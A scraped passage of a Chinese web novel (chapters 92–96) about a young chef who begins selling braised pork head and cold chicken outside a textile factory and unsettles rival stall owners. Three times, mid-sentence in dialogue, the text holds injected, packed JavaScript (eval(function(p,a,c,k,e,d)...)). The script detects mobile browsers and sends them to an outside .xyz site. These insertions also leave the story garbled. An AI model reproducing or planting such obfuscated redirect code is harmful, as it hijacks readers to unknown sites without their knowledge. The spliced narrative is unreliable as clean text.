“要得！明天我就开始给客人尝花生。”赵明辉点着脑袋，喜上眉梢，随口问道：“我看你早上也回来了一趟嘛，搬啥子东西吗？” “哦，我哥结婚，我帮他卤了点猪头肉和牛肉。”周砚收起脚撑，准备走。 “卤味？”赵明辉愣了一下，有些惊讶地看着他：“你也要开始卖卤味了？” 周砚笑着宽慰道：“放心，我不做鸭。” 赵明辉：…… 第二更，求月票！   (本章完) 第92章 十万个周沫沫（500月票加更！） 周砚骑着车走了，留下赵明辉在原地凌乱。 赵明辉这人心眼不坏，有点老实。 他是纺织厂门口第一家卖卤味的，个体经济还没放开的时候，就推着自行车来偷偷摆摊卖猪头肉和甜皮鸭，后来允许摆摊了，靠着之前积累的口碑，生意做的挺不错。 后边又来了两家卖卤味的，故意一左一右挨着他卖，两家合起伙来降价卖卤猪头肉，两下把赵明辉积攒的卤猪货的客人给抢完了。 好在他还有一手做鸭的本事，靠着甜皮鸭在纺织厂门口站稳脚跟。 但卤猪头肉那些卖的没有以前好，挣得自然也少了一些。 不过这家伙倒是知足常乐，挺乐呵的，之前没事就爱跑周砚饭店门口跟他摆龙门阵，后来似乎是被他婆娘给禁足了，有段时间没来，但碰到都会热情地打招呼。 周砚卖卤猪头肉和凉拌鸡，对他的影响应该没那么大，但另外两家可就不一定了。 他半道上还去找章老三和徐老二定了两个猪头。 “周砚也要卖卤味？”赵明辉的婆娘张秀琴其实刚刚就醒了，这会坐起身来，脸上有着几分担忧之色。 “你放心，他说了他不做鸭。”赵明辉笑着道：“他还教我怎么卖卤花生呢，周砚这人挺好的。” “你就是觉得这个世界上所有人都是好的，你看杨老三和朱峰刚来的时候，还不是天天跟你笑嘻嘻的，转头他们俩个就联合起来整我们，这个教训你还没吃够吗？”张秀琴白了他一眼，语气带着几分无奈。 “哎呀，周砚跟他们俩个不一样，他没那么多心眼子。”赵明辉软声道：“再说了，国家支持个体户摆摊，我们是吃到政策福利的，来得早不等于可以独占，他们要来摆摊本来就没得问题。 客人喜欢他们做的卤猪头肉和鸭货，说明我们水平不不如人家嘛，我们只要把甜皮鸭做好一样能挣到钱。现在我们还可以卖卤花生。” 张秀琴盯着他瞧了一会，把自己给气笑了。 有啥子办法呢，他就这个性子，温吞，不争不抢，没事就喜欢自己在家琢磨配方，对她和两个女儿好，挣了钱全部交给她，不打牌，在家又会干家务，结婚十年，一次都没红过脸。 她的语气也没那么冲了，点头道：“行，我们把自己做好，你想卖卤花生就卖嘛。” “秀琴，你真是太好了！”赵明辉一脸高兴，“那等会回去的路上，买十斤花生嘛。” …… 晚宴很简单。 土豆红烧肉、香肠腊肉拼盘、肉末炒泡豇豆、油渣莲白、一份酥肉汤，还有两个炒素菜，两碟泡菜。 旁边大锅里煮了一锅红苕稀饭，米饭也是配了的。 大锅菜是肖磊的绝对领域，纺织厂近三千员工都能给安排的明明白白，区区三百人，自然不在话下。 宾客们本来对晚宴没多大期待，结果还是忍不住多吃了两碗红苕稀饭，吃得肚子滚圆才施施然回家。 “肖师傅，郑师傅，周砚，今天辛苦你们了。”二伯周泽带着周杰和周浩来向正在收拾厨具的三人表示感谢。 “不存在，大家吃的满意，吃得开心，我们也就放心了。”肖磊笑着道。 “太满意了，都说从来没吃过那么好吃的坝坝宴。”周泽说着从摸出了一叠大团结，递给了肖磊：“这是九十块钱工费，肖师傅你点一哈。” 肖磊没有接，看着他道：“老哥，你把那位乡厨的厨具使用费扣了嘛，我也认不到他，这个钱还是要你们结算给他更合适。” 周泽又把钱往前递了递：“这个事情你们就不用操心，我会跟他单独算的，这钱是你们的工费，你收着。” 今天这个坝坝宴办得实在是太巴适了，九十块钱周泽都觉得给少了。 肖磊还有点犹豫。 周砚笑着道：“师父，你就收着嘛，这是主人家的认同。” 肖磊笑着接过钱，“要得，那就谢了哈。” “谢啥子，应该是我们谢……” 周泽又是一阵客套和吹捧，一人还给塞了包烟，这才转回去送其他宾客。 “这乡厨做起还是有点意思哦。”郑强拿着烟嘿嘿笑，什么烟不重要，主人家这份尊重是给足了的。 “来嘛，分钱。”肖磊数了数，各抽出三张递给俩人：“一人三十，平分。” “我是帮工，还是帮我哥，这钱我是一分都不要的，师父你和师兄分嘛。”周砚退后半步，摇头道。 郑强闻言也退后了半步，嘿嘿笑道：“师叔，我帮我外甥女，这个钱我也不要。这次坝坝宴由你统筹办下来，你个人拿到嘛。” “啧……”肖磊眉头一皱，还想再说点什么。 周砚笑着开口：“师父，你们不是要合伙当乡厨办坝坝宴吗？那要采买的东西还多着呢，那么大的蒸笼，要买十几二十个，大铲子、砧板……样样都要花钱，你这九十块钱留着置办工具撒，启动资金嘛。” “对头！”郑强立马附和，“咱们把宴席都接下来了，这些东西要尽快置办，这钱先用着，不够我们还要添嘛。” 肖磊闻言想了想，点头道：“要得，那就拿来买厨具嘛。” 两人把包背上，又约了明天早上到街上一起去买厨具，和周砚道别，骑上车就回去了。 看得出来两人的状态都有些亢奋。 今天两人都没喝酒，天还没黑，周砚用不着担心。 回过身来，周沫沫不知道什么时候站他身后了，仰着脸，笑眯眯地看着她，见他转身，立马举起双手奶声奶气道：“锅锅！我要骑马马！” “来嘛。”周砚笑着把她拎起，放在了脖子上。 “哇哦！好高啊！”周沫沫扶着他的脑袋，开心得不得了。 “扶稳哈，马儿要跑起来了。”周砚按着她的小短腿，三步并作两步的小跑起来。 “咯咯咯……” 周沫沫的笑声像银铃一般在周村的村道上回荡。 路上的小孩们投来了羡慕的目光。 赵铁英挽着周淼的手，不紧不慢的跟在他们身后，脸上都挂着盈盈笑意。 “周砚这娃娃，真的变了好多，现在太懂事，太有能力了，对沫沫也好，我们还是有福气哦。”赵铁英带着几分感慨道，笑容中满满的幸福。 周淼笑着道：“主要是你这个当妈的起到了良好的带头作用，吃苦耐劳，开朗乐观，勤劳贤惠，周砚这是有样学样，功劳在你身上。” “真的？” “那肯定撒！我从来不骗人，更不会骗老婆。” 赵铁英搂着周淼的手臂更紧了，她感觉自己现在好幸福。 周砚驮着周沫沫回了家，到了堂屋才把她放下来。 “好耍！好好耍！”周沫沫拍着小手，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200210|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅锅，下次我们还骑马马好嘛？” “那你要给我啥子好处呢？”周砚笑盈盈的看着她。 “我……”周沫沫认真想了想，从口袋里摸出了一颗水果硬糖塞到了周砚的手里，“我最喜欢吃的橘子糖给你吃！” “好，那我们下次还耍。”周砚笑着点头。 老周同志回来之后去烧了一锅热水，拿了两个木桶装了热水，喊周砚一起来泡脚：“你和你妈站了一天，忙的没歇过脚，泡了好睡觉。” “要得。”周砚其实已经用井水冲过脚了，但今天陀螺一样转了一天，双脚确实有点酸，看到冒着热气的泡脚桶，实在有点走不动道。 “舒服……”赵嬢嬢把腿放进木桶，长舒了一口气，看着站在一旁的老周同志道：“你也坐下来一起泡嘛，反正桶桶大。” 周淼笑着摇头：“没得事，我等你泡完再掺点热水泡，锅里还烧起的，等会你洗澡也有热水。” “快点！等哈冷了。”赵嬢嬢语调一升。 “要得。”老周同志立马坐下，把脚放进了泡脚桶。 周砚在旁边看乐了，家庭弟位这方面，老周同志一直稳定发挥。 “我也要泡脚脚！”周沫沫自己搬了个小凳子过来，往周砚旁边一放，虎头鞋一脱，露出了一双白白的小脚丫，有些费劲的弯腰把裤腿往上扯了扯，然后把脚脚放进了脚盆里。 “嘶！好烫！” 小家伙碰了一下水，又立马缩了回去，一脸震惊的看着周砚：“锅锅，你不怕烫吗？” “泡脚就是要有点烫才舒服，你等会再放下来嘛，你的皮肤太嫩了。”周砚笑着帮她把脚丫放在木桶边边上，沾了一下热水，她的脚跟就变红了，算不上烫伤，但这个温度对她来说还是高了点。 “昂。”周沫沫乖巧点头，手肘抵着膝盖，两只手托着下巴，盯着木桶瞧了，很快又震惊道：“锅锅！你的脚脚好大啊！就像……就像大象一样！” “锅锅，你的腿上长了好多****哦！就像小猴子一样。” “锅锅……” 周砚也不知道自己到底像啥，但周沫沫可真是个小话痨啊，洗个脚的功夫，把一家人逗得乐不可支。 她就像是一个开心果，让每个人的脸上都不自觉的露出笑容，然后和她一起说说笑笑。 如果现在只有他和赵嬢嬢、老周同志坐在这里泡脚，应该会比较沉默吧。 “睡觉了！你锅锅忙了一天也累了，明天再找他耍！”赵嬢嬢一把抓住准备往周砚房间里蹦的周沫沫。 周沫沫无力地瞪了瞪小短腿，只好看着周砚送上祝福：“晚安，锅锅，祝你做个好梦。” “嗯，晚安。”周砚笑着点头，把门关上。 脱了外套躺在硌人的木板床上，周砚看着爬着蛛网的屋顶，斑驳的土墙上有条裂缝蜿蜒向下，空荡荡的房间，闻着身下被子传来的霉味，心中突然升起了一股强烈的挣钱欲望。 他要带着家人搬进漂亮干净的楼房，睡在柔软舒服的大床上，盖着松软喷香的新棉被！ 赵嬢嬢和老周同志，还有周沫沫，他们值得更好。 他要挣钱！ 挣更多的钱！ 第三更奉上！ 500月票加更。 都是3k以上的长章哈~ 继续求月票~ (本章完) 第94章 这些都是老板请来的托吧？ 赵嬢嬢这一声吆喝，让不少刚从厂大门出来的工人们纷纷回头，瞧见了卤猪头肉和凉拌鸡后，皆是眼睛一亮。 “周二娃饭店开始卖卤味了！” “那凉拌鸡瞧着可真不错！红油颜色太正了！” “肉都能免费试吃啊？老板真大气，走，咱们也尝一块！” 客人们纷纷好奇围过来，都知道周二娃饭店的菜贵，白嫖的机会自然不能错过。 厂大门第一个门面的优势，在这一刻尽显。 这吆喝也引起了厂大门摊贩们的注意，特别是那挨着的三个卤味摊摊，老板们几乎同时向着周二娃饭店看了过来。 “啥子东西哦！他也卖卤味了吗？”杨记卤味老板杨老三皱起眉头，光头都挤出了一个川字。 右边那几的朱记卤味的老板朱峰也是一脸不满：“啥都卖，啥子钱都要挣，这周砚也太贪心了吧？” 中午卤味生意不好本来就烦，这下更烦了。 他们是看着王老五的面摊被周砚干垮的，后来来了个周亮亮卖汤锅，干了一天也垮丝跑路了。 现在周砚开始卖卤味，心里怎么可能不慌啊。 这两天周砚的饭店生意有多红火，他们这些摊贩是看的最清楚的，大家都在说，他一天能卖两三百块钱，赚上百块呢！ 他们这些摊贩，卖得好一天能挣七八块，卖的差的时候挣一两块，两口子守一个摊摊，一个月挣个百来块钱，比种地挣得多，不比纺织厂的工人差。 可跟周砚相比，那可差远了。 而且他卖啥火啥，面条卖得好，汤锅也卖得好，现在卖卤味…… 杨老三和朱峰有点不敢想了。 相比于左右老板愁容满面，中间的赵明辉正不慌不慌的把卤花生从篮子里倒到搪瓷盆里，看到他们慌乱的模样，还有点想笑。 当初他们俩合起伙来整他的时候，他可是被整惨了的，连着几天没睡着觉，就是没想到人心可以这么险恶。 现在周砚开始卖卤味，他俩倒是觉得周砚贪心了。 反正周砚说了他不做鸭，那对他的影响就不会太大。 有一批纺织厂的工人，隔个十天半个月会来买半只甜皮鸭回家给老人孩子吃，肉香，骨酥，又裹了麦芽糖浆，老人孩子可爱吃了。 靠着这些客人，他们夫妻俩一个月能挣一百多块钱，过年过节挣的更多，今年中秋节她们卖了三十只甜皮鸭，挣了四十多块钱呢。 祖传的手艺，终究不是那么容易被人模仿的。 卤猪头肉那些他现在已经卖的很少了，就算一点不卖，也没啥影响。 他是老实，但不是傻子。 好歹分得清。 张秀琴脸上有几分忧色，但看到杨老三和朱峰着急的模样，心头同样有些高兴。 “你说周砚的卤味，能卖得好吗？”张秀琴小声道：“之前也没听他说过他会做卤味啊？” “他是专业的厨师，应该做的不会差吧……”赵明辉也有点不太自信，他跟周砚认识的时间不算长，但一起摆龙门阵的次数却不少，之前确实没听他说起过他会做卤味。 以他对周砚性格的了解，他要是会做卤味的话，绝对会好为人师的指点他。 这么一想，他信心大减。 周砚该不会又想一出是一出吧？ 毕竟之前他觉得自己怀才不遇，做的菜那么好吃，客人却连尝都不尝。 赵明辉为了支持兄弟，还特意进饭店点了两回，吃完他和秀琴都沉默了。 有些饭店没人吃是有道理的，千万不要脑壳铁，非坐下来尝尝咸淡。 “放心，周砚根本不会做卤味，不然他早就做了，还等得到今天。”杨老三大声安慰朱峰，也是在安慰自己。 朱峰跟着点头：“说得对，卤味也不是那么好做的，就这一锅卤水，就不是他短时间内能整明白的。” 两人对了一下眼神，意味不明地笑了笑。 就算周砚做的还可以，那他们也有办法。 赵明辉的卤味摊摊比他们开的早，还不是被他们联手挤的只能卖卖甜皮鸭。 可惜甜皮鸭的手艺还没找到地方学，不然他们把甜皮鸭也学会了，就可以把赵明辉彻底挤走，独占纺织厂门口的卤味生意。 逢年过节一天能卖出几十只甜皮鸭的买卖，他们也是眼馋的很。 饭店这边，工人们围了过来，拿着竹签扎着猪头肉和凉拌鸡试吃。 赵嬢嬢见大家挤着拿不方便，还主动抓了一把签签，扎上一片片猪头肉和一块块凉拌鸡，直接递到后边挤不进来的工人手里。 “谢谢嬢嬢！”女工们甜甜地道谢。 “不谢，尝尝看嘛，我们老周家祖传的卤味手艺。”赵铁英笑眯眯道。 “嗯！这个卤猪头肉好香啊，口感软糯，肥而不腻，越嚼越香！” “对头！卤香浓郁，口感绝佳，这个卤猪头肉太巴适了！非常适合下酒啊！” 卤猪头肉率先获得好评，特别是平时爱喝酒的，简直如获至宝。 旁边的牌牌上写了价格，猪头肉和凉拌鸡2.5元一斤，猪耳朵、猪拱嘴3元一斤，这价格比门口那三家卤味摊摊一斤贵了三毛钱。 在店里吃，是按份来算的，价格和称斤的一样，多少重都写的明明白白，这点可比不少饭店强多了。 赵东吃完转而向身旁的宋阳和朱哲说道：“老宋，老朱，搞快整半斤，晚上去我家喝酒，你们出肉，我出酒，开瓶六十度的洋河酒给你尝尝。” 两人闻言眼睛一亮。 宋阳道：“真的假的？晚上喝酒晚上下班再整嘛，现在提进去也不方便。” “你懂锤子，他们家最近生意太好了，中午不整，晚上下班包没你的份！”赵东给他一个白眼。 “要得！”朱哲毫不犹豫地跟赵嬢嬢道：“老板娘，给我切半斤猪头肉和一只猪耳朵打包！” 赵东连连点头：“老朱，你还是懂得起，这猪耳朵看着也多巴适。” “你都开洋河酒了，我肯定不能小气撒。”朱哲咧嘴笑，回头看着宋阳道：“老宋，我们俩平摊哈。” “要得，啷个要不得嘛。”宋阳跟着点头，三人直接往店里走去，找了张空桌坐下。 “要得！马上给你切！”赵嬢嬢笑着应道，她也没想到开张生意来的那么快，连忙让赵红先通知周砚切耳片和猪头肉。 “这凉拌鸡也拌的好！皮脆肉嫩又有嚼劲，越嚼越香，味道都腌进去了，吃起好巴适！” “这红油太香了！鸡肉吃起来麻辣鲜香，还有点酸甜口味，一点不辣嘴皮子，就是突出一个香！好吃！” 凉拌鸡也得到了客人们的一致好评，吃完一块，嘴里还有芝麻粒，嚼起来在齿间爆开，唇齿留香。 “我就说好吃吧，没骗你们~”周沫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200212|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沫一脸小得意，把竹签上最后一颗凉拌鸡咬了，晃着小脑袋奶声奶气道：“我锅锅做的，超好吃的！” “对，小老板说的一点都没错。”客人们笑着应道。 小家伙实在是太可爱了，嘴角还挂着红油，嚼着鸡块，吃的可香可香了。 “老板，给我们点一份凉拌鸡嘛，在店里吃，再要一份回锅肉。”有客人落座，立马就点上了。 “给我们也来一份，再加个双椒牛肉碎。”马上有客人跟上。 “要得，坐嘛，我给你们点菜。”赵嬢嬢立马拿出点菜本，开始点菜。 赵嬢嬢认的字不多，但她有她的点菜方式，比如回锅肉，他就写个‘回’字，双椒碎花牛肉他就写个‘双’字，每道菜选一个最简单的代表字，周砚也能一下子看明白。 卤味不下饭，中午点的人确实不多，除了像赵东这样的熟客，担心晚上抢不到的会提前买，其他觉得好吃的客人也会等到晚上下班了再买，然后直接提回家吃。 但凉拌鸡不太一样，不光好吃，也下饭啊。 麻辣咸香，又带一点点酸甜口，吃起来有滋有味的，可是不少人的心头好，中午就要点了吃。 而且这样的客人还不止一位。 “凉拌鸡一份！” “凉拌鸡再来一份，说要拌的再辣一点。” …… 一份份订单送进厨房，连周砚都没料到试吃计划如此成功，中午就开始形成有效转化。 果然，当你对自己的餐品味道有足够的信心，试吃就是最好的必杀技。 卤味和凉菜就是最适合试吃的品类，一根竹签就能让客人放心大胆的试吃，而且成本也相对可控。 三块多的试吃成本，换来十多个直接转化订单，以及一大波的口碑发酵，这可太有性价比了。 不过这会正是用餐高峰期，周砚既要斩鸡拌凉拌鸡，又要切耳片、切猪头肉，那边还堆着一叠炒菜订单。 手里菜刀挥冒烟了，还是有些忙不过来。 想要一个靠谱墩子的心情，在这一刻达到了顶峰。 只要有人能接手切卤味的活，拌一拌凉拌鸡他是能腾出手来的。 如果凉菜师傅在饭店门口，当着众人的面现称现切，那本身就是一个活广告，估计一天能多卖不少。 好的墩子可遇不可求，这种事情一时半会急不来，只能先压下这个想法。 好在今天老周同志杀完牛回来得早，帮着上菜和打包，让整体效率维持在客人的忍耐度内。 …… 周砚在后厨忙的热火朝天，外边杨老三和朱峰有点傻眼了。 周二娃饭店门口一堆工人围着试吃，夸赞的言语一个比一个夸张。 “卤的巴适得板！” “皮子脆的老子魂都飞了！” “要不是怕被开除，我都想去买二两酒来配！” 俩人你看我，我看你，震惊中带着几分迷惘： “这些都是周砚请来的托吧？啷个可能呢！” …… 第二章已更！求月票~ 不求打赏，只求月票冲一下新书月票榜！这个对小破店太重要了！拜托了。 而且大家可以加群，参与一下月票抽奖。 我们人少，概率应该挺大的！   (本章完) 第95章 我也可以养一只大熊猫吗？ “不可能！” “绝对不可能！” “这对吗？” “这不对啊！” 杨老三和朱峰你一句，我一句，气得都快跳脚了。 刚刚朱峰的婆娘已经凑过去瞧了一眼价格，卤味的价格比他们一斤贵了三毛钱。 一斤贵三毛钱可不少，当初他们降价搞赵明辉，就是卡着三毛钱降的，不管赵明辉定多少价，他们始终比他便宜三毛钱。 就这样把赵明辉给拖垮了，硬是让他不敢再多备卤猪头。 可周砚现在的定价直接比他们贵三毛，为什么这些工人还那么兴奋？ 他们可不光是吃白食，还有不少直接进店坐下点餐的，要的就是凉拌鸡和卤味，这都是朱峰婆娘亲眼瞧见的。 瞧着他们跳脚的模样，赵明辉和张秀琴别过脸去，已经快要憋不住笑了。 爽啊！ 有种出了口恶气的感觉。 年初这俩搬来之后，可把他们恶心坏了。 他们老实巴交的，玩不过他们俩，只能安心做甜皮鸭。 这下好了，周砚来了，卖的就是卤猪头肉、卤猪耳朵，打的是她们的七寸。 瞧他们跳脚的模样，这次是真的开始害怕了。 “周砚就是厉害啊，只是略微出手，就已经让他们急的焦头烂额了。”赵明辉压着声音道。 “是挺厉害的。”张秀琴点点头，但又有点担心道：“他卖凉拌鸡，咱们的生意会不会也受影响啊？” “影响多少是会有的，以后咱们猪头肉和鸭头都不卖了，专心卖甜皮鸭，然后试着卖卖卤花生。”赵明辉咧嘴笑：“他们受到的影响，肯定比我们大得多。” 张秀琴看着自己老实本分的丈夫，看来他的内心也没有之前嘴上说的那么淡定。 说话间，有工人从跟前过，看见他们摊摊上挂着的甜皮鸭，不禁驻足多瞧了两眼，这甜皮鸭外边裹着一层糖，颜色红亮红亮的，看着起来可真诱人。 赵明辉抓了一捧卤花生就笑着迎了出去，往几人手里一人分了几颗，笑着道：“尝尝我今天刚做的卤花生，我们家的甜皮鸭也好吃得很，正宗夹江木城镇的祖传手艺，我们家就传下来一百多年了。” 这年代物资匮乏，大家一粒米都舍不得浪费，这样小把小把给人散卤花生的老板可当真稀奇又少见。 伸手不打笑脸人，众人也不走了，站着剥了花生尝尝。 “嗯，好吃，卤香还挺浓郁的，咸味适中。” “老板，你这卤花生还挺香的，多少钱一斤啊？” 客人吃了卤花生，交口称赞，纷纷问起价格来。 赵明辉笑着道：“花生四**五分一斤，我用的都是最好的沙地花生，颗粒饱满，越嚼越香，干花生就买成三毛一斤。” “还便宜啊，供销社那边要卖六**二一斤呢，每天从嘉州运过来的，但味道没你这个好。”有个客人一边剥花生，一边道：“你给我称两毛钱，下午当零食吃。” “还真不错，给我也来三毛钱的。”一个女工跟着道，又看着那挂着的甜皮鸭道：“这甜皮鸭好吃不？多少钱一只啊？” “我们的甜皮鸭都是正宗土鸭，和花生是同一锅卤水卤出来的，烫皮再淋麦芽糖，肉香骨酥，老少咸宜，厂里不少老顾客，每个月都要买半只。”赵明辉介绍道：“称斤卖，一斤一块六毛钱，这一只差不多是两斤多点，三块多钱。” 女工点点头道：“一锅卤水，那肯定香，晚上来买半只拿回去尝尝，我儿子和我妈最爱吃甜的了。” “行。”赵明辉笑得更灿烂了。 张秀琴一脸吃惊的看着在前边给工人们散卤花生，积极推销自家甜皮鸭的赵明辉，感觉有点陌生。 这还是她那个三巴掌憋不出一个屁的老公吗？ 花生送了两三斤，卖了有十斤，今天卤的花生全卖完了。 工人们两三毛两三毛的买，都是拿着当午间零食吃的。 尝了的客人，三个有一个会买一点。 卖光之后，还有客人预定明天要的。 花生什么价，大家心里都有数，卤的这么好吃还这么便宜，大家自然乐意买。 甜皮鸭中午没卖出去，但有三个人预定了，各要了半只。 人群散去，赵明辉松了口气。 “老赵，你……你哪学的这些？”张秀琴看着他，不解中带着崇拜，可太厉害了！ “做生意嘛，本来就该这样。”赵明辉淡定的笑了笑，心情却同样澎湃，他感觉自己的后背已被汗水打湿。 哪学的？跟周砚学的。 这些天他瞧见周二娃饭店生意越发红火，每天没事就认真观察饭店的动静，看着赵嬢嬢风风火火的笑着招待客人，总是给人热情满满的感觉，渐渐有了几分领悟。 今天听周砚的准备给工人们拿花生试吃，瞧见赵嬢嬢一声吆喝，便让工人们纷纷驻足停留，进店消费。 一咬牙一跺脚，也就豁出去了，笑脸迎客，主动介绍甜皮鸭，用真诚来打动客人，果然收获颇丰。 等哪天有空了，要请周砚喝顿酒，这可真是他的贵人啊。 一旁的杨老三和朱峰看呆了，这家伙哪里学来的法子，怎么就突然开窍了？ 什么花生这么好卖？中午一会就能卖出十几斤？ 四**五一斤，就算赚一半，那下午这会功夫也挣两块多了！ 杨老三腆着脸上前，满脸堆笑道：“赵老弟，你这啥子花生那么好吃，也拿两颗给我们尝尝嘛。” “就是，给我们抓点，我们也吃起耍撒。”朱峰跟着附和道。 “卖完了，一颗都没了。”赵明辉把还剩了两把花生的搪瓷盆盖上，不冷不淡道。 两人喷了个软钉子，一脸不快的回去了。 张秀琴嘴角一扬，老赵出息了啊！ …… 周二娃饭店中午的生意确实火爆，凉拌鸡卖了十份出去，剩下不到一只鸡了。 卤猪头肉打包卖了十来份，都是熟客要的，就怕晚上来晚了买不上。 最好笑的当属赵东他们那拼好饭三人组，吃饭的时候非得尝尝那打包好的猪耳朵啥味，结果你一片我一片，一只猪耳朵被三人给炫完了，只好重新打包了一只。 因为信不过对方下午会不会偷吃，还把猪头肉和猪耳朵寄存在周砚这里，等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200213|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上下了班再来拿。 三个人，三百个心眼子。 “试吃的效果确实好啊，咱们这卤味的名气一下子就打出去了，不少跟我说晚上要来打包回去吃的。”赵嬢嬢乐呵呵地看着周砚，眼里满是佩服。 要不是周砚想的这法子，今天这三个猪头，两只鸡，还不知道怎么能卖的完呢。 这小子，可太聪明了。 “主要是周砚卤的好，跟奶奶卤的味道不相上下。”赵红笑着道。 “那还是差得远，奶奶卤的好多了。”周砚笑着摇头，他最清楚自己和老太太的差距了。 周沫沫凑了过来，仰着脑袋看他，满脸期待道：“锅锅，那你会卤猪脚脚吗？我想吃~~” 昨天下午老太太赏了她半只猪蹄，吃得她满手满脸的油，香迷糊了。 赵嬢嬢说她昨天晚上做梦还在啃猪蹄呢，早上起来手臂上全是口水和两排小牙齿印。 “昨天你吃的就是我给卤的，明天卤给你吃好不好？”周砚笑着说道，这东西得找刀儿匠提前预定，别说周沫沫馋了，他也馋得很。 “好！”周沫沫高兴的蹦起来，“锅锅，你太好了！” “我也要半个。”赵嬢嬢果断提出申请，卤猪蹄她也馋好多年了，家里那么多小辈，怎么都轮不到他们这些大人吃。 现在周砚会卤，肯定想尝尝看撒，哪怕自己出钱都要吃一个。 “都有份，明天我让大家都吃上卤猪蹄。”周砚笑着一挥手，想吃猪蹄而已，安排！ 猪蹄尖肉少，又难处理，价格比肉便宜多了，只要三毛五分一斤，一个大猪蹄六七毛钱，明早卤肉的时候丢下去一锅卤，就当给大家加餐。 老周同志帮着收了桌，和赵嬢嬢说道：“天色有点暗，晚上可能要下雨，我下午回去把房子加固一下，厨房和堂屋有几块瓦也换一下，免得又漏雨。” “去嘛，上屋顶小心点。”赵嬢嬢点头。 “房子还需要加固吗？”周砚瞅了一眼外边，今天的天色确实有点阴沉。 “我跟你老汉结婚的时候分家修的这个房子，自己去背泥巴回来加稻草夯的土墙，比你年纪都要大两岁。七几年的时候又地震摇过两回，墙上到处是裂缝，茅厕都震垮了，后来你老汉用泥浆和小石头自己补的。”赵嬢嬢笑着道： “这些年缝缝补补，也都住下来了嘛，以后要是挣到钱，就推了重新建。” “我看镇上有家人用砖砌的房子，看着多巴适，不漏风不漏雨，以后我们也修一栋那种样式的。” 说到修新房子，赵嬢嬢的脸上满是期许之色。 “要得，过两年我们也修砖瓦房。”老周同志点头道。 “过两年有钱了，还在乡下修啥房子，把钱拿到蓉城去买栋房子，当城里人不巴适吗？”周砚笑道。他想说首都和上海，但那实在太遥远，赵嬢嬢和老周同志肯定没法想象。 周沫沫听到蓉城眼睛一亮，立马跑过来拉着他的衣摆问：“锅锅！锅锅！他们说蓉城的小朋友都有大熊猫，我也可以养一只大熊猫吗？” 求月票~   (本章完) 第96章 厂长来晚了也买不到！ 关于四川人在家里养熊猫这个谣言，原来从这个年代就有了。 周砚笑着摸了摸她的脑袋，笑着道：“你要去了蓉城，天天骑熊猫出门上学。” “真嘟？”周沫沫眼睛一亮，回头看向了赵嬢嬢：“妈妈！我们去蓉城嘛，我也要养大熊猫！” “去蓉城做啥子？在村里有地种，有地方养鸡养猪，地基也是自己的，活了半辈子的地方，比蓉城巴适的多。”赵嬢嬢摇头，笑着道：“等以后修房子，把院坝再整宽点，旁边那块地前年已经跟你们三叔换来了，以后蒜苗、辣椒、藿香、葱葱都栽在院子里，做饭的时候随手就掐了，多方便。” “要得，就整宽点。”老周同志笑着点头，眼里满是宠溺。 周砚闻言也就不说啥了，这年代能在家里挣到钱，把日子过舒服的，又有几个愿意背井离乡呢？ 他前几天跑步的时候才问过林叔，现在国家刚放开私人房屋买卖，但有不少限制，公家的房子现在是严禁买卖的，好点的楼房全是公家的宿舍楼。 周砚刚把外债还了，还欠着他爸妈五百多块呢，自然没有太多的想法。 他要在纺织厂门口这家店，先把第一桶金赚到手。 以后要是挣得多了，给他们在乡下重修个房子又有何妨呢。 老周同志骑车回去修房子去了，周沫沫跟在周砚的屁股后边打转，一个劲的追问： “锅锅，你要去蓉城嘛？我跟你一家好不好？” “锅锅，我们要养几个大熊猫啊？” “锅锅，大熊猫晚上可以挨着我睡吗？” “锅锅……” “要得要得，到时候我一定给你买一只！”周砚脑子嗡嗡的，给了她一毛钱，让她去买糖吃。 “太好了！我要骑着熊猫去上学！”小家伙拿着钱蹦蹦跳跳走了，已经开始幻想上了，小马尾跟着一蹦一蹦的，钻进了一旁的厂办小卖部。 周砚得了清闲，躺树下的椅子上吹风，看着远处的江发呆。今天阴天，风已经有了几分凉意。 “周砚。”一道声音在耳边响起。 周砚回头，赵明辉已经自己搬了个小板凳在他身边坐下，从兜里抓了一把卤花生塞他手里，自己也剥了一颗丢嘴里，笑着道：“我看你中午卤味卖的好好哦，没想到你还有这门手艺。” “生活不易，多才多艺。”周砚叹了口气，剥了颗卤花生丢嘴里。 “你卖卤猪头肉，要防着点杨老三和朱峰，他们两个不是啥好东西，之前他们两个合起伙来跟我打价格战，我卖什么价他们都比我便宜三毛钱，硬是把我卤猪头**得没法卖。”赵明辉降低了几分声音道。 周砚看了他一眼，笑着道：“没事，防人之心我有，害人之心我也多得是。他们要敢使坏，我肯定比他们坏的多。” 赵明辉愣了愣，周砚现在说话怎么一套又一套的？ 